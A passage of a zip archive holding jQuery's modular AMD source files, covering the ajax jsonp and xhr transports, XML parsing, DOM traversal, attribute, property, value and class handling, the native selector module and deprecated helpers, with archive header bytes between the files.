			return responseContainer[ 0 ];
		};

		// Force json dataType
		s.dataTypes[ 0 ] = "json";

		// Install callback
		overwritten = window[ callbackName ];
		window[ callbackName ] = function() {
			responseContainer = arguments;
		};

		// Clean-up function (fires after converters)
		jqXHR.always( function() {

			// If previous value didn't exist - remove it
			if ( overwritten === undefined ) {
				jQuery( window ).removeProp( callbackName );

			// Otherwise restore preexisting value
			} else {
				window[ callbackName ] = overwritten;
			}

			// Save back as free
			if ( s[ callbackName ] ) {

				// Make sure that re-using the options doesn't screw things around
				s.jsonpCallback = originalSettings.jsonpCallback;

				// Save the callback name for future use
				oldCallbacks.push( callbackName );
			}

			// Call if it was a function and we have a response
			if ( responseContainer && isFunction( overwritten ) ) {
				overwritten( responseContainer[ 0 ] );
			}

			responseContainer = overwritten = undefined;
		} );

		// Delegate to script
		return "script";
	}
} );

} );
PKh��\"u�9MMajax/parseXML.jsnu�[���define( [
	"../core"
], function( jQuery ) {

"use strict";

// Cross-browser xml parsing
jQuery.parseXML = function( data ) {
	var xml;
	if ( !data || typeof data !== "string" ) {
		return null;
	}

	// Support: IE 9 - 11 only
	// IE throws on parseFromString with invalid input.
	try {
		xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" );
	} catch ( e ) {
		xml = undefined;
	}

	if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) {
		jQuery.error( "Invalid XML: " + data );
	}
	return xml;
};

return jQuery.parseXML;

} );
PKh��\�;G���ajax/xhr.jsnu�[���define( [
	"../core",
	"../var/support",
	"../ajax"
], function( jQuery, support ) {

"use strict";

jQuery.ajaxSettings.xhr = function() {
	try {
		return new window.XMLHttpRequest();
	} catch ( e ) {}
};

var xhrSuccessStatus = {

		// File protocol always yields status code 0, assume 200
		0: 200,

		// Support: IE <=9 only
		// #1450: sometimes IE returns 1223 when it should be 204
		1223: 204
	},
	xhrSupported = jQuery.ajaxSettings.xhr();

support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
support.ajax = xhrSupported = !!xhrSupported;

jQuery.ajaxTransport( function( options ) {
	var callback, errorCallback;

	// Cross domain only allowed if supported through XMLHttpRequest
	if ( support.cors || xhrSupported && !options.crossDomain ) {
		return {
			send: function( headers, complete ) {
				var i,
					xhr = options.xhr();

				xhr.open(
					options.type,
					options.url,
					options.async,
					options.username,
					options.password
				);

				// Apply custom fields if provided
				if ( options.xhrFields ) {
					for ( i in options.xhrFields ) {
						xhr[ i ] = options.xhrFields[ i ];
					}
				}

				// Override mime type if needed
				if ( options.mimeType && xhr.overrideMimeType ) {
					xhr.overrideMimeType( options.mimeType );
				}

				// X-Requested-With header
				// For cross-domain requests, seeing as conditions for a preflight are
				// akin to a jigsaw puzzle, we simply never set it to be sure.
				// (it can always be set on a per-request basis or even using ajaxSetup)
				// For same-domain requests, won't change header if already provided.
				if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) {
					headers[ "X-Requested-With" ] = "XMLHttpRequest";
				}

				// Set headers
				for ( i in headers ) {
					xhr.setRequestHeader( i, headers[ i ] );
				}

				// Callback
				callback = function( type ) {
					return function() {
						if ( callback ) {
							callback = errorCallback = xhr.onload =
								xhr.onerror = xhr.onabort = xhr.ontimeout =
									xhr.onreadystatechange = null;

							if ( type === "abort" ) {
								xhr.abort();
							} else if ( type === "error" ) {

								// Support: IE <=9 only
								// On a manual native abort, IE9 throws
								// errors on any property access that is not readyState
								if ( typeof xhr.status !== "number" ) {
									complete( 0, "error" );
								} else {
									complete(

										// File: protocol always yields status 0; see #8605, #14207
										xhr.status,
										xhr.statusText
									);
								}
							} else {
								complete(
									xhrSuccessStatus[ xhr.status ] || xhr.status,
									xhr.statusText,

									// Support: IE <=9 only
									// IE9 has no XHR2 but throws on binary (trac-11426)
									// For XHR2 non-text, let the caller handle it (gh-2498)
									( xhr.responseType || "text" ) !== "text"  ||
									typeof xhr.responseText !== "string" ?
										{ binary: xhr.response } :
										{ text: xhr.responseText },
									xhr.getAllResponseHeaders()
								);
							}
						}
					};
				};

				// Listen to events
				xhr.onload = callback();
				errorCallback = xhr.onerror = xhr.ontimeout = callback( "error" );

				// Support: IE 9 only
				// Use onreadystatechange to replace onabort
				// to handle uncaught aborts
				if ( xhr.onabort !== undefined ) {
					xhr.onabort = errorCallback;
				} else {
					xhr.onreadystatechange = function() {

						// Check readyState before timeout as it changes
						if ( xhr.readyState === 4 ) {

							// Allow onerror to be called first,
							// but that will not handle a native abort
							// Also, save errorCallback to a variable
							// as xhr.onerror cannot be accessed
							window.setTimeout( function() {
								if ( callback ) {
									errorCallback();
								}
							} );
						}
					};
				}

				// Create the abort callback
				callback = callback( "abort" );

				try {

					// Do send the request (this may raise an exception)
					xhr.send( options.hasContent && options.data || null );
				} catch ( e ) {

					// #14683: Only rethrow if this hasn't been notified as an error yet
					if ( callback ) {
						throw e;
					}
				}
			},

			abort: function() {
				if ( callback ) {
					callback();
				}
			}
		};
	}
} );

} );
PKh��\�I6��traversing/var/siblings.jsnu�[���define( function() {

"use strict";

return function( n, elem ) {
	var matched = [];

	for ( ; n; n = n.nextSibling ) {
		if ( n.nodeType === 1 && n !== elem ) {
			matched.push( n );
		}
	}

	return matched;
};

} );
PKh��\�_g��traversing/var/rneedsContext.jsnu�[���define( [
	"../../core",
	"../../selector"
], function( jQuery ) {
	"use strict";

	return jQuery.expr.match.needsContext;
} );
PKh��\w�d��traversing/var/dir.jsnu�[���define( [
	"../../core"
], function( jQuery ) {

"use strict";

return function( elem, dir, until ) {
	var matched = [],
		truncate = until !== undefined;

	while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {
		if ( elem.nodeType === 1 ) {
			if ( truncate && jQuery( elem ).is( until ) ) {
				break;
			}
			matched.push( elem );
		}
	}
	return matched;
};

} );
PKh��\\[V�	�	traversing/findFilter.jsnu�[���define( [
	"../core",
	"../var/indexOf",
	"../var/isFunction",
	"./var/rneedsContext",
	"../selector"
], function( jQuery, indexOf, isFunction, rneedsContext ) {

"use strict";

// Implement the identical functionality for filter and not
function winnow( elements, qualifier, not ) {
	if ( isFunction( qualifier ) ) {
		return jQuery.grep( elements, function( elem, i ) {
			return !!qualifier.call( elem, i, elem ) !== not;
		} );
	}

	// Single element
	if ( qualifier.nodeType ) {
		return jQuery.grep( elements, function( elem ) {
			return ( elem === qualifier ) !== not;
		} );
	}

	// Arraylike of elements (jQuery, arguments, Array)
	if ( typeof qualifier !== "string" ) {
		return jQuery.grep( elements, function( elem ) {
			return ( indexOf.call( qualifier, elem ) > -1 ) !== not;
		} );
	}

	// Filtered directly for both simple and complex selectors
	return jQuery.filter( qualifier, elements, not );
}

jQuery.filter = function( expr, elems, not ) {
	var elem = elems[ 0 ];

	if ( not ) {
		expr = ":not(" + expr + ")";
	}

	if ( elems.length === 1 && elem.nodeType === 1 ) {
		return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [];
	}

	return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
		return elem.nodeType === 1;
	} ) );
};

jQuery.fn.extend( {
	find: function( selector ) {
		var i, ret,
			len = this.length,
			self = this;

		if ( typeof selector !== "string" ) {
			return this.pushStack( jQuery( selector ).filter( function() {
				for ( i = 0; i < len; i++ ) {
					if ( jQuery.contains( self[ i ], this ) ) {
						return true;
					}
				}
			} ) );
		}

		ret = this.pushStack( [] );

		for ( i = 0; i < len; i++ ) {
			jQuery.find( selector, self[ i ], ret );
		}

		return len > 1 ? jQuery.uniqueSort( ret ) : ret;
	},
	filter: function( selector ) {
		return this.pushStack( winnow( this, selector || [], false ) );
	},
	not: function( selector ) {
		return this.pushStack( winnow( this, selector || [], true ) );
	},
	is: function( selector ) {
		return !!winnow(
			this,

			// If this is a positional/relative selector, check membership in the returned set
			// so $("p:first").is("p:last") won't return true for a doc with two "p".
			typeof selector === "string" && rneedsContext.test( selector ) ?
				jQuery( selector ) :
				selector || [],
			false
		).length;
	}
} );

} );
PKh��\��Qg33attributes/support.jsnu�[���define( [
	"../var/document",
	"../var/support"
], function( document, support ) {

"use strict";

( function() {
	var input = document.createElement( "input" ),
		select = document.createElement( "select" ),
		opt = select.appendChild( document.createElement( "option" ) );

	input.type = "checkbox";

	// Support: Android <=4.3 only
	// Default value for a checkbox should be "on"
	support.checkOn = input.value !== "";

	// Support: IE <=11 only
	// Must access selectedIndex to make default options select
	support.optSelected = opt.selected;

	// Support: IE <=11 only
	// An input loses its value after becoming a radio
	input = document.createElement( "input" );
	input.value = "t";
	input.type = "radio";
	support.radioValue = input.value === "t";
} )();

return support;

} );
PKh��\_Ϛ�T
T
attributes/attr.jsnu�[���define( [
	"../core",
	"../core/access",
	"../core/nodeName",
	"./support",
	"../var/rnothtmlwhite",
	"../selector"
], function( jQuery, access, nodeName, support, rnothtmlwhite ) {

"use strict";

var boolHook,
	attrHandle = jQuery.expr.attrHandle;

jQuery.fn.extend( {
	attr: function( name, value ) {
		return access( this, jQuery.attr, name, value, arguments.length > 1 );
	},

	removeAttr: function( name ) {
		return this.each( function() {
			jQuery.removeAttr( this, name );
		} );
	}
} );

jQuery.extend( {
	attr: function( elem, name, value ) {
		var ret, hooks,
			nType = elem.nodeType;

		// Don't get/set attributes on text, comment and attribute nodes
		if ( nType === 3 || nType === 8 || nType === 2 ) {
			return;
		}

		// Fallback to prop when attributes are not supported
		if ( typeof elem.getAttribute === "undefined" ) {
			return jQuery.prop( elem, name, value );
		}

		// Attribute hooks are determined by the lowercase version
		// Grab necessary hook if one is defined
		if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
			hooks = jQuery.attrHooks[ name.toLowerCase() ] ||
				( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );
		}

		if ( value !== undefined ) {
			if ( value === null ) {
				jQuery.removeAttr( elem, name );
				return;
			}

			if ( hooks && "set" in hooks &&
				( ret = hooks.set( elem, value, name ) ) !== undefined ) {
				return ret;
			}

			elem.setAttribute( name, value + "" );
			return value;
		}

		if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
			return ret;
		}

		ret = jQuery.find.attr( elem, name );

		// Non-existent attributes return null, we normalize to undefined
		return ret == null ? undefined : ret;
	},

	attrHooks: {
		type: {
			set: function( elem, value ) {
				if ( !support.radioValue && value === "radio" &&
					nodeName( elem, "input" ) ) {
					var val = elem.value;
					elem.setAttribute( "type", value );
					if ( val ) {
						elem.value = val;
					}
					return value;
				}
			}
		}
	},

	removeAttr: function( elem, value ) {
		var name,
			i = 0,

			// Attribute names can contain non-HTML whitespace characters
			// https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
			attrNames = value && value.match( rnothtmlwhite );

		if ( attrNames && elem.nodeType === 1 ) {
			while ( ( name = attrNames[ i++ ] ) ) {
				elem.removeAttribute( name );
			}
		}
	}
} );

// Hooks for boolean attributes
boolHook = {
	set: function( elem, value, name ) {
		if ( value === false ) {

			// Remove boolean attributes when set to false
			jQuery.removeAttr( elem, name );
		} else {
			elem.setAttribute( name, name );
		}
		return name;
	}
};

jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) {
	var getter = attrHandle[ name ] || jQuery.find.attr;

	attrHandle[ name ] = function( elem, name, isXML ) {
		var ret, handle,
			lowercaseName = name.toLowerCase();

		if ( !isXML ) {

			// Avoid an infinite loop by temporarily removing this function from the getter
			handle = attrHandle[ lowercaseName ];
			attrHandle[ lowercaseName ] = ret;
			ret = getter( elem, name, isXML ) != null ?
				lowercaseName :
				null;
			attrHandle[ lowercaseName ] = handle;
		}
		return ret;
	};
} );

} );
PKh��\B���XXattributes/val.jsnu�[���define( [
	"../core",
	"../core/stripAndCollapse",
	"./support",
	"../core/nodeName",
	"../var/isFunction",

	"../core/init"
], function( jQuery, stripAndCollapse, support, nodeName, isFunction ) {

"use strict";

var rreturn = /\r/g;

jQuery.fn.extend( {
	val: function( value ) {
		var hooks, ret, valueIsFunction,
			elem = this[ 0 ];

		if ( !arguments.length ) {
			if ( elem ) {
				hooks = jQuery.valHooks[ elem.type ] ||
					jQuery.valHooks[ elem.nodeName.toLowerCase() ];

				if ( hooks &&
					"get" in hooks &&
					( ret = hooks.get( elem, "value" ) ) !== undefined
				) {
					return ret;
				}

				ret = elem.value;

				// Handle most common string cases
				if ( typeof ret === "string" ) {
					return ret.replace( rreturn, "" );
				}

				// Handle cases where value is null/undef or number
				return ret == null ? "" : ret;
			}

			return;
		}

		valueIsFunction = isFunction( value );

		return this.each( function( i ) {
			var val;

			if ( this.nodeType !== 1 ) {
				return;
			}

			if ( valueIsFunction ) {
				val = value.call( this, i, jQuery( this ).val() );
			} else {
				val = value;
			}

			// Treat null/undefined as ""; convert numbers to string
			if ( val == null ) {
				val = "";

			} else if ( typeof val === "number" ) {
				val += "";

			} else if ( Array.isArray( val ) ) {
				val = jQuery.map( val, function( value ) {
					return value == null ? "" : value + "";
				} );
			}

			hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];

			// If set returns undefined, fall back to normal setting
			if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) {
				this.value = val;
			}
		} );
	}
} );

jQuery.extend( {
	valHooks: {
		option: {
			get: function( elem ) {

				var val = jQuery.find.attr( elem, "value" );
				return val != null ?
					val :

					// Support: IE <=10 - 11 only
					// option.text throws exceptions (#14686, #14858)
					// Strip and collapse whitespace
					// https://html.spec.whatwg.org/#strip-and-collapse-whitespace
					stripAndCollapse( jQuery.text( elem ) );
			}
		},
		select: {
			get: function( elem ) {
				var value, option, i,
					options = elem.options,
					index = elem.selectedIndex,
					one = elem.type === "select-one",
					values = one ? null : [],
					max = one ? index + 1 : options.length;

				if ( index < 0 ) {
					i = max;

				} else {
					i = one ? index : 0;
				}

				// Loop through all the selected options
				for ( ; i < max; i++ ) {
					option = options[ i ];

					// Support: IE <=9 only
					// IE8-9 doesn't update selected after form reset (#2551)
					if ( ( option.selected || i === index ) &&

							// Don't return options that are disabled or in a disabled optgroup
							!option.disabled &&
							( !option.parentNode.disabled ||
								!nodeName( option.parentNode, "optgroup" ) ) ) {

						// Get the specific value for the option
						value = jQuery( option ).val();

						// We don't need an array for one selects
						if ( one ) {
							return value;
						}

						// Multi-Selects return an array
						values.push( value );
					}
				}

				return values;
			},

			set: function( elem, value ) {
				var optionSet, option,
					options = elem.options,
					values = jQuery.makeArray( value ),
					i = options.length;

				while ( i-- ) {
					option = options[ i ];

					/* eslint-disable no-cond-assign */

					if ( option.selected =
						jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1
					) {
						optionSet = true;
					}

					/* eslint-enable no-cond-assign */
				}

				// Force browsers to behave consistently when non-matching value is set
				if ( !optionSet ) {
					elem.selectedIndex = -1;
				}
				return values;
			}
		}
	}
} );

// Radios and checkboxes getter/setter
jQuery.each( [ "radio", "checkbox" ], function() {
	jQuery.valHooks[ this ] = {
		set: function( elem, value ) {
			if ( Array.isArray( value ) ) {
				return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );
			}
		}
	};
	if ( !support.checkOn ) {
		jQuery.valHooks[ this ].get = function( elem ) {
			return elem.getAttribute( "value" ) === null ? "on" : elem.value;
		};
	}
} );

} );
PKh��\��KKattributes/prop.jsnu�[���define( [
	"../core",
	"../core/access",
	"./support",
	"../selector"
], function( jQuery, access, support ) {

"use strict";

var rfocusable = /^(?:input|select|textarea|button)$/i,
	rclickable = /^(?:a|area)$/i;

jQuery.fn.extend( {
	prop: function( name, value ) {
		return access( this, jQuery.prop, name, value, arguments.length > 1 );
	},

	removeProp: function( name ) {
		return this.each( function() {
			delete this[ jQuery.propFix[ name ] || name ];
		} );
	}
} );

jQuery.extend( {
	prop: function( elem, name, value ) {
		var ret, hooks,
			nType = elem.nodeType;

		// Don't get/set properties on text, comment and attribute nodes
		if ( nType === 3 || nType === 8 || nType === 2 ) {
			return;
		}

		if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {

			// Fix name and attach hooks
			name = jQuery.propFix[ name ] || name;
			hooks = jQuery.propHooks[ name ];
		}

		if ( value !== undefined ) {
			if ( hooks && "set" in hooks &&
				( ret = hooks.set( elem, value, name ) ) !== undefined ) {
				return ret;
			}

			return ( elem[ name ] = value );
		}

		if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
			return ret;
		}

		return elem[ name ];
	},

	propHooks: {
		tabIndex: {
			get: function( elem ) {

				// Support: IE <=9 - 11 only
				// elem.tabIndex doesn't always return the
				// correct value when it hasn't been explicitly set
				// https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
				// Use proper attribute retrieval(#12072)
				var tabindex = jQuery.find.attr( elem, "tabindex" );

				if ( tabindex ) {
					return parseInt( tabindex, 10 );
				}

				if (
					rfocusable.test( elem.nodeName ) ||
					rclickable.test( elem.nodeName ) &&
					elem.href
				) {
					return 0;
				}

				return -1;
			}
		}
	},

	propFix: {
		"for": "htmlFor",
		"class": "className"
	}
} );

// Support: IE <=11 only
// Accessing the selectedIndex property
// forces the browser to respect setting selected
// on the option
// The getter ensures a default option is selected
// when in an optgroup
// eslint rule "no-unused-expressions" is disabled for this code
// since it considers such accessions noop
if ( !support.optSelected ) {
	jQuery.propHooks.selected = {
		get: function( elem ) {

			/* eslint no-unused-expressions: "off" */

			var parent = elem.parentNode;
			if ( parent && parent.parentNode ) {
				parent.parentNode.selectedIndex;
			}
			return null;
		},
		set: function( elem ) {

			/* eslint no-unused-expressions: "off" */

			var parent = elem.parentNode;
			if ( parent ) {
				parent.selectedIndex;

				if ( parent.parentNode ) {
					parent.parentNode.selectedIndex;
				}
			}
		}
	};
}

jQuery.each( [
	"tabIndex",
	"readOnly",
	"maxLength",
	"cellSpacing",
	"cellPadding",
	"rowSpan",
	"colSpan",
	"useMap",
	"frameBorder",
	"contentEditable"
], function() {
	jQuery.propFix[ this.toLowerCase() ] = this;
} );

} );
PKh��\�attributes/classes.jsnu�[���define( [
	"../core",
	"../core/stripAndCollapse",
	"../var/isFunction",
	"../var/rnothtmlwhite",
	"../data/var/dataPriv",
	"../core/init"
], function( jQuery, stripAndCollapse, isFunction, rnothtmlwhite, dataPriv ) {

"use strict";

function getClass( elem ) {
	return elem.getAttribute && elem.getAttribute( "class" ) || "";
}

function classesToArray( value ) {
	if ( Array.isArray( value ) ) {
		return value;
	}
	if ( typeof value === "string" ) {
		return value.match( rnothtmlwhite ) || [];
	}
	return [];
}

jQuery.fn.extend( {
	addClass: function( value ) {
		var classes, elem, cur, curValue, clazz, j, finalValue,
			i = 0;

		if ( isFunction( value ) ) {
			return this.each( function( j ) {
				jQuery( this ).addClass( value.call( this, j, getClass( this ) ) );
			} );
		}

		classes = classesToArray( value );

		if ( classes.length ) {
			while ( ( elem = this[ i++ ] ) ) {
				curValue = getClass( elem );
				cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " );

				if ( cur ) {
					j = 0;
					while ( ( clazz = classes[ j++ ] ) ) {
						if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
							cur += clazz + " ";
						}
					}

					// Only assign if different to avoid unneeded rendering.
					finalValue = stripAndCollapse( cur );
					if ( curValue !== finalValue ) {
						elem.setAttribute( "class", finalValue );
					}
				}
			}
		}

		return this;
	},

	removeClass: function( value ) {
		var classes, elem, cur, curValue, clazz, j, finalValue,
			i = 0;

		if ( isFunction( value ) ) {
			return this.each( function( j ) {
				jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );
			} );
		}

		if ( !arguments.length ) {
			return this.attr( "class", "" );
		}

		classes = classesToArray( value );

		if ( classes.length ) {
			while ( ( elem = this[ i++ ] ) ) {
				curValue = getClass( elem );

				// This expression is here for better compressibility (see addClass)
				cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " );

				if ( cur ) {
					j = 0;
					while ( ( clazz = classes[ j++ ] ) ) {

						// Remove *all* instances
						while ( cur.indexOf( " " + clazz + " " ) > -1 ) {
							cur = cur.replace( " " + clazz + " ", " " );
						}
					}

					// Only assign if different to avoid unneeded rendering.
					finalValue = stripAndCollapse( cur );
					if ( curValue !== finalValue ) {
						elem.setAttribute( "class", finalValue );
					}
				}
			}
		}

		return this;
	},

	toggleClass: function( value, stateVal ) {
		var type = typeof value,
			isValidValue = type === "string" || Array.isArray( value );

		if ( typeof stateVal === "boolean" && isValidValue ) {
			return stateVal ? this.addClass( value ) : this.removeClass( value );
		}

		if ( isFunction( value ) ) {
			return this.each( function( i ) {
				jQuery( this ).toggleClass(
					value.call( this, i, getClass( this ), stateVal ),
					stateVal
				);
			} );
		}

		return this.each( function() {
			var className, i, self, classNames;

			if ( isValidValue ) {

				// Toggle individual class names
				i = 0;
				self = jQuery( this );
				classNames = classesToArray( value );

				while ( ( className = classNames[ i++ ] ) ) {

					// Check each className given, space separated list
					if ( self.hasClass( className ) ) {
						self.removeClass( className );
					} else {
						self.addClass( className );
					}
				}

			// Toggle whole class name
			} else if ( value === undefined || type === "boolean" ) {
				className = getClass( this );
				if ( className ) {

					// Store className if set
					dataPriv.set( this, "__className__", className );
				}

				// If the element has a class name or if we're passed `false`,
				// then remove the whole classname (if there was one, the above saved it).
				// Otherwise bring back whatever was previously saved (if anything),
				// falling back to the empty string if nothing was stored.
				if ( this.setAttribute ) {
					this.setAttribute( "class",
						className || value === false ?
						"" :
						dataPriv.get( this, "__className__" ) || ""
					);
				}
			}
		} );
	},

	hasClass: function( selector ) {
		var className, elem,
			i = 0;

		className = " " + selector + " ";
		while ( ( elem = this[ i++ ] ) ) {
			if ( elem.nodeType === 1 &&
				( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) {
					return true;
			}
		}

		return false;
	}
} );

} );
PKh��\*t�AA.eslintrc.jsonnu�[���{
	"root": true,

	"extends": "../.eslintrc-browser.json"
}
PKh��\qp�'��selector-native.jsnu�[���define( [
	"./core",
	"./var/document",
	"./var/documentElement",
	"./var/hasOwn",
	"./var/indexOf"
], function( jQuery, document, documentElement, hasOwn, indexOf ) {

"use strict";

/*
 * Optional (non-Sizzle) selector module for custom builds.
 *
 * Note that this DOES NOT SUPPORT many documented jQuery
 * features in exchange for its smaller size:
 *
 * Attribute not equal selector
 * Positional selectors (:first; :eq(n); :odd; etc.)
 * Type selectors (:input; :checkbox; :button; etc.)
 * State-based selectors (:animated; :visible; :hidden; etc.)
 * :has(selector)
 * :not(complex selector)
 * custom selectors via Sizzle extensions
 * Leading combinators (e.g., $collection.find("> *"))
 * Reliable functionality on XML fragments
 * Requiring all parts of a selector to match elements under context
 *   (e.g., $div.find("div > *") now matches children of $div)
 * Matching against non-elements
 * Reliable sorting of disconnected nodes
 * querySelectorAll bug fixes (e.g., unreliable :focus on WebKit)
 *
 * If any of these are unacceptable tradeoffs, either use Sizzle or
 * customize this stub for the project's specific needs.
 */

var hasDuplicate, sortInput,
	sortStable = jQuery.expando.split( "" ).sort( sortOrder ).join( "" ) === jQuery.expando,
	matches = documentElement.matches ||
		documentElement.webkitMatchesSelector ||
		documentElement.mozMatchesSelector ||
		documentElement.oMatchesSelector ||
		documentElement.msMatchesSelector,

	// CSS string/identifier serialization
	// https://drafts.csswg.org/cssom/#common-serializing-idioms
	rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,
	fcssescape = function( ch, asCodePoint ) {
		if ( asCodePoint ) {

			// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER
			if ( ch === "\0" ) {
				return "\uFFFD";
			}

			// Control characters and (dependent upon position) numbers get escaped as code points
			return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " ";
		}

		// Other potentially-special ASCII characters get backslash-escaped
		return "\\" + ch;
	};

function sortOrder( a, b ) {

	// Flag for duplicate removal
	if ( a === b ) {
		hasDuplicate = true;
		return 0;
	}

	// Sort on method existence if only one input has compareDocumentPosition
	var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
	if ( compare ) {
		return compare;
	}

	// Calculate position if both inputs belong to the same document
	compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
		a.compareDocumentPosition( b ) :

		// Otherwise we know they are disconnected
		1;

	// Disconnected nodes
	if ( compare & 1 ) {

		// Choose the first element that is related to our preferred document
		if ( a === document || a.ownerDocument === document &&
			jQuery.contains( document, a ) ) {
			return -1;
		}
		if ( b === document || b.ownerDocument === document &&
			jQuery.contains( document, b ) ) {
			return 1;
		}

		// Maintain original order
		return sortInput ?
			( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
			0;
	}

	return compare & 4 ? -1 : 1;
}

function uniqueSort( results ) {
	var elem,
		duplicates = [],
		j = 0,
		i = 0;

	hasDuplicate = false;
	sortInput = !sortStable && results.slice( 0 );
	results.sort( sortOrder );

	if ( hasDuplicate ) {
		while ( ( elem = results[ i++ ] ) ) {
			if ( elem === results[ i ] ) {
				j = duplicates.push( i );
			}
		}
		while ( j-- ) {
			results.splice( duplicates[ j ], 1 );
		}
	}

	// Clear input after sorting to release objects
	// See https://github.com/jquery/sizzle/pull/225
	sortInput = null;

	return results;
}

function escape( sel ) {
	return ( sel + "" ).replace( rcssescape, fcssescape );
}

jQuery.extend( {
	uniqueSort: uniqueSort,
	unique: uniqueSort,
	escapeSelector: escape,
	find: function( selector, context, results, seed ) {
		var elem, nodeType,
			i = 0;

		results = results || [];
		context = context || document;

		// Same basic safeguard as Sizzle
		if ( !selector || typeof selector !== "string" ) {
			return results;
		}

		// Early return if context is not an element or document
		if ( ( nodeType = context.nodeType ) !== 1 && nodeType !== 9 ) {
			return [];
		}

		if ( seed ) {
			while ( ( elem = seed[ i++ ] ) ) {
				if ( jQuery.find.matchesSelector( elem, selector ) ) {
					results.push( elem );
				}
			}
		} else {
			jQuery.merge( results, context.querySelectorAll( selector ) );
		}

		return results;
	},
	text: function( elem ) {
		var node,
			ret = "",
			i = 0,
			nodeType = elem.nodeType;

		if ( !nodeType ) {

			// If no nodeType, this is expected to be an array
			while ( ( node = elem[ i++ ] ) ) {

				// Do not traverse comment nodes
				ret += jQuery.text( node );
			}
		} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {

			// Use textContent for elements
			return elem.textContent;
		} else if ( nodeType === 3 || nodeType === 4 ) {
			return elem.nodeValue;
		}

		// Do not include comment or processing instruction nodes

		return ret;
	},
	contains: function( a, b ) {
		var adown = a.nodeType === 9 ? a.documentElement : a,
			bup = b && b.parentNode;
		return a === bup || !!( bup && bup.nodeType === 1 && adown.contains( bup ) );
	},
	isXMLDoc: function( elem ) {

		// documentElement is verified for cases where it doesn't yet exist
		// (such as loading iframes in IE - #4833)
		var documentElement = elem && ( elem.ownerDocument || elem ).documentElement;
		return documentElement ? documentElement.nodeName !== "HTML" : false;
	},
	expr: {
		attrHandle: {},
		match: {
			bool: new RegExp( "^(?:checked|selected|async|autofocus|autoplay|controls|defer" +
				"|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped)$", "i" ),
			needsContext: /^[\x20\t\r\n\f]*[>+~]/
		}
	}
} );

jQuery.extend( jQuery.find, {
	matches: function( expr, elements ) {
		return jQuery.find( expr, null, null, elements );
	},
	matchesSelector: function( elem, expr ) {
		return matches.call( elem, expr );
	},
	attr: function( elem, name ) {
		var fn = jQuery.expr.attrHandle[ name.toLowerCase() ],

			// Don't get fooled by Object.prototype properties (jQuery #13807)
			value = fn && hasOwn.call( jQuery.expr.attrHandle, name.toLowerCase() ) ?
				fn( elem, name, jQuery.isXMLDoc( elem ) ) :
				undefined;
		return value !== undefined ? value : elem.getAttribute( name );
	}
} );

} );
PKh��\cݽ,


deprecated.jsnu�[���define( [
	"./core",
	"./core/nodeName",
	"./core/camelCase",
	"./core/toType",
	"./var/isFunction",
	"./var/isWindow",
	"./var/slice",

	"./event/alias"
], function( jQuery, nodeName, camelCase, toType, isFunction, isWindow, slice ) {

"use strict";

jQuery.fn.extend( {

	bind: function( types, data, fn ) {
		return this.on( types, null, data, fn );
	},
	unbind: function( types, fn ) {
		return this.off( types, null, fn );
	},

	delegate: function( selector, types, data, fn ) {
		return this.on( types, selector, data, fn );
	},
	undelegate: function( selector, types, fn ) {

		// ( namespace ) or ( selector, types [, fn] )
		return arguments.length === 1 ?
			this.off( selector, "**" ) :
			this.off( types, selector || "**", fn );
	}
} );

// Bind a function to a context, optionally partially applying any
// arguments.
// jQuery.proxy is deprecated to promote standards (specifically Function#bind)
// However, it is not slated for removal any time soon
jQuery.proxy = function( fn, context ) {
	var tmp, args, proxy;

	if ( typeof context === "string" ) {
		tmp = fn[ context ];
		context = fn;
		fn = tmp;
	}

	// Quick check to determine if target is callable, in the spec
	// this throws a TypeError, but we will just return undefined.
	if ( !isFunction( fn ) ) {
		return undefined;
	}

	// Simulated bind
	args = slice.call( arguments, 2 );
	proxy = function() {
		return fn.apply( context || this, args.concat( slice.call( arguments ) ) );
	};

	// Set the guid of unique handler to the same of original handler, so it can be removed
	proxy.guid = fn.guid = fn.guid || jQuery.guid++;

	return proxy;
};

jQuery.holdReady = function( hold ) {
	if ( hold ) {
		jQuery.readyWait++;
	} else {
		jQuery.ready( true );
	}
};
jQuery.isArray = Array.isArray;
jQuery.parseJSON = JSON.parse;
jQuery.nodeName = nodeName;
jQuery.isFunction = isFunction;
jQuery.isWindow = isWindow;
jQuery.camelCase = camelCase;
jQuery.type = toType;

jQuery.now = Date.now;

jQuery.isNumeric = function( obj ) {

	// As of jQuery 3.0, isNumeric is limited to
	// strings and numbers (primitives or objects)
	// that can be coerced to finite numbers (gh-2662)
	var type = jQuery.type( obj );
	return ( type === "number" || type === "string" ) &&

